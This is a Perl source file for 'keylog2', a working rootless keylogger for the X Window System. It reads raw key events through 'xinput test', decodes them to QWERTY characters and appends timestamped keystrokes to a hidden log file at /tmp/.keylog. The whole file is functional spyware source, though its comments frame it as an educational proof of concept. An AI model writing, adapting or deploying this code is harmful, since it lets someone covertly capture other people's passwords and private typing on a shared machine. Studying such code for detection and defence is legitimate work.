293 lines
6.5 KiB
Plaintext
293 lines
6.5 KiB
Plaintext
|
#!/usr/bin/perl -w
|
||
|
|
||
|
# keylog2 - a rootless keylogger that only requires an X server and the xinput
|
||
|
# command (provided by xorg-x11-apps on Fedora). You'll also need to install
|
||
|
# the Perl module IO::Pty::Easy.
|
||
|
#
|
||
|
# Unlike my first keylogger proof-of-concept, this one doesn't require root
|
||
|
# privileges because it just uses the X Window System. Therefore it only
|
||
|
# catches key inputs made to graphical programs on the same X server that the
|
||
|
# keylogger runs on.
|
||
|
#
|
||
|
# How it works: running `xinput list` lists all your X input devices. There's
|
||
|
# a keyboard device named "AT (something)", mine is "AT Translated Set 2
|
||
|
# keyboard". Get the ID from the line that says this and then run
|
||
|
# `xinput test <id>` and it will start dumping keystroke information as the
|
||
|
# user types keys into ANY graphical app.
|
||
|
#
|
||
|
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
|
||
|
# so no guarantees it will work for everybody. This is just another proof of
|
||
|
# concept anyway, and shouldn't be used for malicious purposes.
|
||
|
#
|
||
|
# Under the default configuration, the log file is written to /tmp/.keylog
|
||
|
# and only logs key release events, except for modifier keys (Shift, Ctrl,
|
||
|
# Alt, and Super (Windows key)) where it will also log the Key Down event
|
||
|
# (so Alt-Tabbing makes more sense in the log, for example). You can
|
||
|
# optionally configure it to log EVERY key down event if you'd like, though.
|
||
|
#
|
||
|
# Again, this is just a proof of concept and should be used for educational
|
||
|
# purposes only, and not for anything malicious.
|
||
|
#
|
||
|
# --Kirsle
|
||
|
# http://sh.kirsle.net/
|
||
|
|
||
|
use strict;
|
||
|
use warnings;
|
||
|
use IO::Pty::Easy;
|
||
|
use IO::Handle;
|
||
|
|
||
|
##########################
|
||
|
# Configuration #
|
||
|
##########################
|
||
|
|
||
|
my $conf = {
|
||
|
# Log files to write keys to
|
||
|
logfile => "/tmp/.keylog",
|
||
|
|
||
|
# By default only key-releases are logged. Log key-presses too?
|
||
|
log_keydown => 0,
|
||
|
};
|
||
|
|
||
|
##########################
|
||
|
# End Configuration #
|
||
|
##########################
|
||
|
|
||
|
# X11 display.
|
||
|
$ENV{DISPLAY} ||= ":0.0";
|
||
|
|
||
|
# Make sure we have xinput.
|
||
|
if (system("which xinput > /dev/null") != 0) {
|
||
|
print "You require the `xinput` command for this keylogger to work.\n";
|
||
|
exit(1);
|
||
|
}
|
||
|
|
||
|
# Get the input list.
|
||
|
my @inputs = `xinput list`;
|
||
|
|
||
|
# Find the AT keyboard.
|
||
|
my $id;
|
||
|
foreach my $line (@inputs) {
|
||
|
$line =~ s/^[\s\t]+//g;
|
||
|
$line =~ s/[\s\t]+$//g;
|
||
|
$line =~ s/[\x0D\x0A]+//g;
|
||
|
next unless length $line;
|
||
|
if ($line =~ /keyboard/i && $line =~ /. AT/) {
|
||
|
($id) = ($line =~ /id=(\d+)/)[0];
|
||
|
}
|
||
|
}
|
||
|
if (!defined $id) {
|
||
|
print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
|
||
|
exit(1);
|
||
|
}
|
||
|
|
||
|
print "Keyboard ID: $id\n";
|
||
|
|
||
|
# Track state of modifier keys.
|
||
|
our %mod = (
|
||
|
'shift' => 0,
|
||
|
'ctrl' => 0,
|
||
|
'alt' => 0,
|
||
|
'super' => 0,
|
||
|
);
|
||
|
|
||
|
# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
|
||
|
my $tty = IO::Pty::Easy->new();
|
||
|
print "Watching `xinput test $id`\n";
|
||
|
$tty->spawn("xinput test $id");
|
||
|
|
||
|
while ($tty->is_active) {
|
||
|
my $data = $tty->read();
|
||
|
my @lines = split(/\n/, $data);
|
||
|
foreach my $line (@lines) {
|
||
|
# Key event?
|
||
|
chomp $line;
|
||
|
if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
|
||
|
event($1, $2);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# Handle key events
|
||
|
sub event {
|
||
|
my ($event,$sym) = @_;
|
||
|
|
||
|
# Only QWERTY keyboards supported.
|
||
|
my $key = kbd_qwerty($event,$sym);
|
||
|
|
||
|
print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
|
||
|
|
||
|
# Log it?
|
||
|
if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
|
||
|
($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
|
||
|
my @time = localtime(time());
|
||
|
my $ts = join(" ",
|
||
|
join("-",
|
||
|
sprintf("%4d", $time[5] + 1900),
|
||
|
sprintf("%2d", $time[4] + 1),
|
||
|
sprintf("%2d", $time[3]),
|
||
|
),
|
||
|
join(":",
|
||
|
sprintf("%2d", $time[2]),
|
||
|
sprintf("%2d", $time[1]),
|
||
|
sprintf("%2d", $time[0]),
|
||
|
),
|
||
|
);
|
||
|
|
||
|
open (my $log, ">>", $conf->{logfile});
|
||
|
print $log "[$ts] "
|
||
|
. ($event eq "release" ? "<Release>" : "<Press>")
|
||
|
. " "
|
||
|
. ($key eq " " ? "{space}" : $key)
|
||
|
. "\n";
|
||
|
close ($log);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# QWERTY keysym finder
|
||
|
sub kbd_qwerty {
|
||
|
my ($event,$sym) = @_;
|
||
|
|
||
|
# Modifier keys.
|
||
|
my %modkeys = (
|
||
|
50 => 'shift', # L Shift
|
||
|
62 => 'shift', # R Shift
|
||
|
37 => 'ctrl', # L Ctrl
|
||
|
105 => 'ctrl', # R Ctrl
|
||
|
64 => 'alt', # L Alt
|
||
|
108 => 'alt', # R Alt
|
||
|
133 => 'super', # L Super
|
||
|
);
|
||
|
if (exists $modkeys{$sym}) {
|
||
|
my $name = $modkeys{$sym};
|
||
|
$mod{$name} = $event eq "press" ? 1 : 0;
|
||
|
return "{\u$name}";
|
||
|
}
|
||
|
|
||
|
# Qwerty keys.
|
||
|
my %keys = (
|
||
|
# qwerty row
|
||
|
24 => [ 'q', 'Q' ], # normal, shift key
|
||
|
25 => [ 'w', 'W' ],
|
||
|
26 => [ 'e', 'E' ],
|
||
|
27 => [ 'r', 'R' ],
|
||
|
28 => [ 't', 'T' ],
|
||
|
29 => [ 'y', 'Y' ],
|
||
|
30 => [ 'u', 'U' ],
|
||
|
31 => [ 'i', 'I' ],
|
||
|
32 => [ 'o', 'O' ],
|
||
|
33 => [ 'p', 'P' ],
|
||
|
34 => [ '[', '{' ],
|
||
|
35 => [ ']', '}' ],
|
||
|
51 => [ "\\", '|' ],
|
||
|
|
||
|
# asdf row
|
||
|
38 => [ 'a', 'A' ],
|
||
|
39 => [ 's', 'S' ],
|
||
|
40 => [ 'd', 'D' ],
|
||
|
41 => [ 'f', 'F' ],
|
||
|
42 => [ 'g', 'G' ],
|
||
|
43 => [ 'h', 'H' ],
|
||
|
44 => [ 'j', 'J' ],
|
||
|
45 => [ 'k', 'K' ],
|
||
|
46 => [ 'l', 'L' ],
|
||
|
47 => [ ';', ':' ],
|
||
|
48 => [ '"', "'" ],
|
||
|
36 => "{Return}",
|
||
|
|
||
|
# zxcv row
|
||
|
52 => [ 'z', 'Z' ],
|
||
|
53 => [ 'x', 'X' ],
|
||
|
54 => [ 'c', 'C' ],
|
||
|
55 => [ 'v', 'V' ],
|
||
|
56 => [ 'b', 'B' ],
|
||
|
57 => [ 'n', 'N' ],
|
||
|
58 => [ 'm', 'M' ],
|
||
|
59 => [ ',', '<' ],
|
||
|
60 => [ '.', '>' ],
|
||
|
61 => [ '/', '?' ],
|
||
|
|
||
|
# number row
|
||
|
49 => [ '`', '~' ],
|
||
|
10 => [ '1', '!' ],
|
||
|
11 => [ '2', '@' ],
|
||
|
12 => [ '3', '#' ],
|
||
|
13 => [ '4', '$' ],
|
||
|
14 => [ '5', '%' ],
|
||
|
15 => [ '6', '^' ],
|
||
|
16 => [ '7', '&' ],
|
||
|
17 => [ '8', '*' ],
|
||
|
18 => [ '9', '(' ],
|
||
|
19 => [ '0', ')' ],
|
||
|
20 => [ '-', '_' ],
|
||
|
21 => [ '+', '=' ],
|
||
|
|
||
|
# space bar
|
||
|
65 => ' ',
|
||
|
|
||
|
# number pad
|
||
|
90 => '{Num-0}',
|
||
|
87 => '{Num-1}',
|
||
|
88 => '{Num-2}',
|
||
|
89 => '{Num-3}',
|
||
|
83 => '{Num-4}',
|
||
|
84 => '{Num-5}',
|
||
|
85 => '{Num-6}',
|
||
|
79 => '{Num-7}',
|
||
|
80 => '{Num-8}',
|
||
|
81 => '{Num-9}',
|
||
|
106 => '{Num-/}',
|
||
|
63 => '{Num-*}',
|
||
|
82 => '{Num--}',
|
||
|
86 => '{Num-+}',
|
||
|
|
||
|
# F keys
|
||
|
67 => '{F1}',
|
||
|
68 => '{F2}',
|
||
|
69 => '{F3}',
|
||
|
70 => '{F4}',
|
||
|
71 => '{F5}',
|
||
|
72 => '{F6}',
|
||
|
73 => '{F7}',
|
||
|
74 => '{F8}',
|
||
|
75 => '{F9}',
|
||
|
76 => '{F10}',
|
||
|
95 => '{F11}',
|
||
|
96 => '{F12}',
|
||
|
|
||
|
# Misc
|
||
|
9 => '{Esc}',
|
||
|
22 => '{Backspace}',
|
||
|
77 => '{Num Lock}',
|
||
|
107 => '{Print Scr}',
|
||
|
118 => '{Insert}',
|
||
|
119 => '{Delete}',
|
||
|
110 => '{Home}',
|
||
|
112 => '{Pg Up}',
|
||
|
117 => '{Pg Dn}',
|
||
|
115 => '{End}',
|
||
|
111 => '{Up}',
|
||
|
116 => '{Down}',
|
||
|
113 => '{Left}',
|
||
|
114 => '{Right}',
|
||
|
135 => '{Menu}',
|
||
|
23 => '{Tab}',
|
||
|
66 => '{Caps Lock}',
|
||
|
);
|
||
|
|
||
|
if (exists $keys{$sym}) {
|
||
|
if (ref($keys{$sym})) {
|
||
|
print "(shift key: $mod{shift})\n";
|
||
|
if ($mod{shift}) {
|
||
|
return $keys{$sym}->[1];
|
||
|
}
|
||
|
else {
|
||
|
return $keys{$sym}->[0];
|
||
|
}
|
||
|
}
|
||
|
return $keys{$sym};
|
||
|
}
|
||
|
else {
|
||
|
return "{Unknown: $sym}";
|
||
|
}
|
||
|
}
|